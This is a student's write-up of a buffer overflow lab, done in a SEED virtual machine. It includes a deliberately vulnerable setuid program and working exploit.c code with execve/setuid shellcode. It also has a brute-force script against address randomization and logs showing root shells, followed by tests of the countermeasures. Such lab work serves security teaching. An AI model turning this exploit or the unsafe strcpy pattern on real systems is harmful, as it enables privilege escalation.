Buffer Overflow Vulnerability Lab

Name: Raman Srivastava
SUID: 946665605

Task 1: Running Shellcode

```
[09/18/18]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
[sudo] password for seed:
kernel.randomize_va_space = 0
[09/18/18]seed@VM:~$ gedit
[09/18/18]seed@VM:~$ gcc -z execstack -o call_shellcode call_shellcode.c
gcc: error: call_shellcode.c: No such file or directory
gcc: fatal error: no input files
compilation terminated.
[09/18/18]seed@VM:~$ cd Lab2
bash: cd: Lab2: No such file or directory
[09/18/18]seed@VM:~$ cd Lab 2
bash: cd: Lab: No such file or directory
[09/18/18]seed@VM:~$ cd Lab_2
bash: cd: Lab_2: No such file or directory
[09/18/18]seed@VM:~$ cd home
bash: cd: home: No such file or directory
[09/18/18]seed@VM:~$ ls
android         Downloads           ls.c       path.c    t6
a.out           examples.desktop    Music      Pictures  t6.c
bin             Lab 2               mylib.c    Public    Templates
Customization   lib                 mylib.o    source    Videos
Desktop         libmylib.so.1.0.1   myprog     system.c
Documents       ls                  myprog.c   t10.c
[09/18/18]seed@VM:~$ gcc -z execstack -o call_shellcode call_shellcode.c
[09/18/18]seed@VM:~$ ls
android          call_shellcode.c  Documents         Lab 1  Music     source
bin              Customization     Downloads         Lab 2  Pictures  Templates
call_shellcode   Desktop           examples.desktop  lib    Public    Videos
[09/18/18]seed@VM:~$ ./call_shellcode
$
$ exit
```

As instructed, I switched off the Address Space Randomization using

‘sudo sysctl -w kernel.randomize_va_space=0’.

At the time of compilation of call_shellcode.c, I called execstack because by default, all the code stored in the stack is non-executable. So after this call, my call_shellcode.c program gets executed and upon running, I get access to the shell.

The Vulnerable Program

stack.c (~/) - gedit

Open   Save

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
```

```
/bin/bash
[09/18/18]seed@VM:~$ gcc -o stack -z execstack -fno-stack-protector stack.c
[09/18/18]seed@VM:~$ ls
android           Customization  examples.desktop  Music     stack
bin               Desktop        Lab 1             Pictures  stack.c
call_shellcode    Documents      Lab 2             Public    Templates
call_shellcode.c  Downloads      lib               source    Videos
[09/18/18]seed@VM:~$ sudo chown root stack
[sudo] password for seed:
[09/18/18]seed@VM:~$ sudo chmod 4755 stack
[09/18/18]seed@VM:~$ ./stack
Segmentation fault
```

Here, the script for stack.c was written and at the time of it's compilation, the StackGuard and the non-executable stack protection was turned off using '-fno-stack-protector' and '-z execstack' respectively. This program was made to Set-UID Program using the 'sudo chown root stack' and 'sudo chmod 4755 stack'. In this program, the length of the buffer is 24 bytes and the maximum size for 'badfile' which is our malicious file is 517 bytes. In the bof() function, the buffer is created and because it's just 24 bytes compared to the 517 bytes of input to the buffer, it will cause the buffer to overflow. Over here, when I run the stack exe file, it shows 'segmentation fault' because it's making an attempt to access a memory that's out of bounds or doesn't exist.

Task 2: Exploiting the vulnerability

```
/bin/bash
[09/18/18]seed@VM:~$ gcc -o stack -z execstack -fno-stack-protector stack.c
[09/18/18]seed@VM:~$ ls
android           Customization  examples.desktop  Music     stack
bin               Desktop        Lab 1             Pictures  stack.c
call_shellcode    Documents      Lab 2             Public    Templates
call_shellcode.c  Downloads      lib               source    Videos
[09/18/18]seed@VM:~$ sudo chown root stack
[sudo] password for seed:
[09/18/18]seed@VM:~$ sudo chmod 4755 stack
[09/18/18]seed@VM:~$ ./stack
Segmentation fault
[09/18/18]seed@VM:~$ gedit
[09/18/18]seed@VM:~$ gedit
[09/18/18]seed@VM:~$ gedit
[09/18/18]seed@VM:~$ gedit
[09/18/18]seed@VM:~$ gcc showaddress.c
[09/18/18]seed@VM:~$ a.out
::a1's address is 0x bfffec90
[09/18/18]seed@VM:~$
[09/18/18]seed@VM:~$ a.out
::a1's address is 0x bfffec90
[09/18/18]seed@VM:~$ gedit stack.c
[09/18/18]seed@VM:~$ gcc -z execstack -fno-stack-protector -g -o stack_dbg stack
.c
[09/18/18]seed@VM:~$ touch badfile
[09/18/18]seed@VM:~$ gdb stack_dbg
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
```

Over here, the program is compiled using -g so that the debugging information is added to the binary. A malicious file 'badfile' is created along with a binary file 'stack_dbg'.

```
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack_dbg...done.
gdb-peda$ b bof
Breakpoint 1 at 0x80484c1: file stack.c, line 8.
gdb-peda$ run
Starting program: /home/seed/stack_dbg
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".

[----------------------------------registers-----------------------------------]
EAX: 0xbfffea77 --> 0x34208
EBX: 0x0
ECX: 0x804fb20 --> 0x0
EDX: 0x0
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffea58 --> 0xbfffec88 --> 0x0
ESP: 0xbfffea30 --> 0xb7fe96eb (<_dl_fixup+11>: add    esi,0x15915)
EIP: 0x80484c1 (<bof+6>:        sub    esp,0x8)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484bb <bof>:     push   ebp
   0x80484bc <bof+1>:   mov    ebp,esp
   0x80484be <bof+3>:   sub    esp,0x28
=> 0x80484c1 <bof+6>:   sub    esp,0x8
   0x80484c4 <bof+9>:   push   DWORD PTR [ebp+0x8]
   0x80484c7 <bof+12>:  lea    eax,[ebp-0x20]
   0x80484ca <bof+15>:  push   eax
   0x80484cb <bof+16>:  call   0x8048370 <strcpy@plt>
[------------------------------------stack-------------------------------------]
0000| 0xbfffea30 --> 0xb7fe96eb (<_dl_fixup+11>:        add    esi,0x15915)
0004| 0xbfffea34 --> 0x0
0008| 0xbfffea38 --> 0xb7f1c000 --> 0x1b1db0
0012| 0xbfffea3c --> 0xb7b62940 (0xb7b62940)
0016| 0xbfffea40 --> 0xbfffec88 --> 0x0
0020| 0xbfffea44 --> 0xb7feff10 (<_dl_runtime_resolve+16>:      pop    edx)
0024| 0xbfffea48 --> 0xb7dc888b (<__GI__IO_fread+11>:   add    ebx,0x153775)
0028| 0xbfffea4c --> 0x0
```

A breakpoint is created using 'b bof'. This means when the program is being executed, once it enters the function 'bof', it'll stop execution.

```
0004| 0xbfffea34 --> 0x0
0008| 0xbfffea38 --> 0xb7f1c000 --> 0x1b1db0
0012| 0xbfffea3c --> 0xb7b62940 (0xb7b62940)
0016| 0xbfffea40 --> 0xbfffec88 --> 0x0
0020| 0xbfffea44 --> 0xb7feff10 (<_dl_runtime_resolve+16>:      pop    edx)
0024| 0xbfffea48 --> 0xb7dc888b (<__GI__IO_fread+11>:   add    ebx,0x153775)
0028| 0xbfffea4c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (str=0xbfffea77 "\bB\003") at stack.c:8
8         strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffea58
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffea38
gdb-peda$ p char str[517];
A syntax error in expression, near `str[517];'.
gdb-peda$ FILE *badfile;
*badfile;: No such file or directory.
gdb-peda$ badfile = fopen("badfile", "r");
Undefined command: "badfile".  Try "help".
gdb-peda$ fread(str, sizeof(char), 517, badfile);
Undefined command: "fread".  Try "help".
gdb-peda$ bof(str);
Undefined command: "bof".  Try "help".
gdb-peda$ printf("Returned Properly\n");
Bad format string, missing '"'.
gdb-peda$ return 1;
Invalid character ';' in expression.
gdb-peda$ p 0xbfffea58 - 0xbfffea38
$3 = 0x20
gdb-peda$ p $ebp
$4 = (void *) 0xbfffea58
gdb-peda$ quit
[09/18/18]seed@VM:~$ gcc -o exploit exploit.c
[09/18/18]seed@VM:~$ ./exploit
[09/18/18]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

Here, we can print the value of the value of frame pointer and the starting address of the buffer. The difference between the frame pointer ebp and the start address of the buffer is 0X20 which is a hexadecimal value (32 decimal value).

exploit.c (~/) - gedit

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
*((long *) (buffer + 36)) = 0xbfffea58 + 0x81;
/* ... Put your code here ... */
/* Save the contents to the file "badfile" */
memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
```

C Tab Width: 8 Ln 16, Col 2 INS

Here, the first usable address in our buffer is 32+4=36. Also we add 0x81 NOP values so if the program gets the wrong address, it can hop to the malicious code.

Task 3: Defeating dash’s Countermeasure

*dash_shell_test.c (~/) - gedit

Open | Save

```c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
        char *argv[2];
        argv[0] = "/bin/sh";
        argv[1] = NULL;
        //setuid(0);
        execve("/bin/sh", argv, NULL);
        return 0;
}
```

```
Undefined command: "fread".  Try "help".
gdb-peda$ bof(str);
Undefined command: "bof".  Try "help".
gdb-peda$ printf("Returned Properly\n");
Bad format string, missing '"'.
gdb-peda$ return 1;
Invalid character ';' in expression.
gdb-peda$ p 0xbfffea58 - 0xbfffea38
$3 = 0x20
gdb-peda$ p $ebp
$4 = (void *) 0xbfffea58
gdb-peda$ quit
[09/18/18]seed@VM:~$ gcc -o exploit exploit.c
[09/18/18]seed@VM:~$ ./exploit
[09/18/18]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
# exit
[09/19/18]seed@VM:~$ sudo rm /bin/sh
[sudo] password for seed:
[09/19/18]seed@VM:~$ sudo ln -s /bin/dash /bin/sh
[09/19/18]seed@VM:~$ gedit
[09/19/18]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/19/18]seed@VM:~$ sudo chown root dash_shell_test
[09/19/18]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/19/18]seed@VM:~$ ./dash_shell_test
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
$ exit
```

Initially, the setuid(0) is commented. So when the program is executing, it runs with the uid of 1000 that’s seed but the euid is 0 which belongs to the root. We replace the zsh with dash and we attempt to override the protection of dash.

*dash_shell_test.c (~/) - gedit

Open | Save

```c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
        char *argv[2];
        argv[0] = "/bin/sh";
        argv[1] = NULL;
        setuid(0);
        execve("/bin/sh", argv, NULL);
        return 0;
}
```

After we replace the zsh shell with dash shell, we write this program where we set the uid to 0.

```
$ exit
[09/19/18]seed@VM:~$ gedit dash_shell_test.c
[09/19/18]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/19/18]seed@VM:~$ sudo chown root dash_shell_test
[09/19/18]seed@VM:~$ sudo chmod 4655 dash_shell_test
[09/19/18]seed@VM:~$ ./dash_shell_test
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
# exit
[09/19/18]seed@VM:~$
```

Here we see that the UID is 0 because of the program, that means it's getting root access.

*exploit.c (~/) - gedit

Open | Save

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
*((long *) (buffer + 36)) = 0xbfffe9e8 + 0x81;
/* ... Put your code here ... */
/* Save the contents to the file "badfile" */
memcpy(buffer + sizeof(buffer) - sizeof(shellcode), shellcode, sizeof(shellcode));
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
```

C | Tab Width: 8 | Ln 12, Col 14 | INS

The dash_shell_test.c program written earlier has been converted into assembly language and passed in the shellcode[] present in the exploit.c file.

```
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
EBP: 0xbfffea58 --> 0xbfffec88 --> 0x0
ESP: 0xbfffea30 --> 0xb7fe96eb (<_dl_fixup+11>: add    esi,0x15915)
EIP: 0x80484c1 (<bof+6>:        sub    esp,0x8)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80484bb <bof>:     push   ebp
   0x80484bc <bof+1>:   mov    ebp,esp
   0x80484be <bof+3>:   sub    esp,0x28
=> 0x80484c1 <bof+6>:   sub    esp,0x8
   0x80484c4 <bof+9>:   push   DWORD PTR [ebp+0x8]
   0x80484c7 <bof+12>:  lea    eax,[ebp-0x20]
   0x80484ca <bof+15>:  push   eax
   0x80484cb <bof+16>:  call   0x8048370 <strcpy@plt>
[------------------------------------stack-------------------------------------]
0000| 0xbfffea30 --> 0xb7fe96eb (<_dl_fixup+11>:        add    esi,0x15915)
0004| 0xbfffea34 --> 0x0
0008| 0xbfffea38 --> 0xb7f1c000 --> 0x1b1db0
0012| 0xbfffea3c --> 0xb7b62940 (0xb7b62940)
0016| 0xbfffea40 --> 0xbfffec88 --> 0x0
0020| 0xbfffea44 --> 0xb7feff10 (<_dl_runtime_resolve+16>:      pop    edx)
0024| 0xbfffea48 --> 0xb7dc888b (<__GI__IO_fread+11>:   add    ebx,0x153775)
0028| 0xbfffea4c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, bof (
    str=0xbfffea77 '\220' <repeats 36 times>, "\331\352\377\277", '\220' <repeat
s 160 times>...) at stack.c:8
8           strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xbfffea58
gdb-peda$ quit
[09/19/18]seed@VM:~$ gedit exploit.c
[09/19/18]seed@VM:~$ gcc -o exploit exploit.c
[09/19/18]seed@VM:~$ ./exploit
[09/19/18]seed@VM:~$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
#
```

When we run the exploit.c file, we observe that uid is 0 which means we have root access, thereby defeating dash's countermeasure.

Task 4: Defeating Address Randomization

```
gdb-peda$ p 0xbfffe9e8 - 0xbfffe9c8
$3 = 0x20
gdb-peda$ quit
[09/19/18]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
[sudo] password for seed:
kernel.randomize_va_space = 2
[09/19/18]seed@VM:~$ ./exploit
[09/19/18]seed@VM:~$ ./stack
Segmentation fault
```

Using the step 'sudo /sbin/sysctl/ -w kernel,randomiza_va_space=2', we activate the Address Randomization. When we run stack.c, we see that we've hit Segmentation fault. This means Address Randomization did it's job of randomly selecting the starting point for the stack.

attck.sh (~/) - gedit

Open | Save

*exploit.c | attack.sh | attck.sh | stack.c

```
SECONDS=0
value=0
while [ 1 ]
        do
                value=$(( $value + 1 ))
                duration=$SECONDS
                min=$(($duration / 60))
                sec=$(($duration % 60))
                echo "$min minutes and $sec seconds elapsed."
                echo "The program has been running $value times so far."
                ./stack
done
```

Now we'll write this attck.sh script. In this script, we're running our vulnerable program, stack.c. In the exploit.c file, we've given an address where we can find the stack and that's stored in 'badfile'. What attack.sh file will do is, it'll keep running the stack.c file to read 'badfile' and brute force it's way to find the address of the stack until it matches the value specified in 'badfile'.

```
The program has been running 35330 times so far.
attck.sh: line 12:  6978 Segmentation fault      ./stack
0 minutes and 54 seconds elapsed.
The program has been running 35331 times so far.
attck.sh: line 12:  6979 Segmentation fault      ./stack
0 minutes and 54 seconds elapsed.
The program has been running 35332 times so far.
attck.sh: line 12:  6980 Segmentation fault      ./stack
0 minutes and 54 seconds elapsed.
The program has been running 35333 times so far.
attck.sh: line 12:  6981 Segmentation fault      ./stack
0 minutes and 54 seconds elapsed.
The program has been running 35334 times so far.
attck.sh: line 12:  6982 Segmentation fault      ./stack
0 minutes and 54 seconds elapsed.
The program has been running 35335 times so far.
attck.sh: line 12:  6983 Segmentation fault      ./stack
0 minutes and 54 seconds elapsed.
The program has been running 35336 times so far.
#
```

Task 5: Turn on the StackGuard Protection

StackGuard Protection is on if the command '-fno-stack-protector' is not typed in the gcc compilation command. What StackGuard does is, it stores the copy of the return address outside the buffer and verify the value of the return address after stack operation to see if any modification have been made to the return address.

```
/bin/bash 80x42
[09/19/18]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
[sudo] password for seed:
kernel.randomize_va_space = 0
[09/19/18]seed@VM:~$ gcc -o stack -z execstack stack.c
[09/19/18]seed@VM:~$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

Task 6: Turn on the Non-executable Stack Protection

```
/bin/bash 80x42
[09/19/18]seed@VM:~$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
[09/19/18]seed@VM:~$ ./stack
Segmentation fault
```

In this task, we see that a buffer overflow has happened. We know that because we have encountered Segmentation fault. In Non-executable stack protection, the program stored in the stack is not executed. After running stack.c, a malicious file called 'badfile' enters the stack. But the file can not be executed because of the non-executable stack protection, which is activated by passing '-z nonexecstack' along with the other commands at the time of gcc compilation.

So even though the buffer-overflow has occurred and the frame pointer is pointing towards the malicious code (provided Address Randomization is turned off), the buffer is away from threats.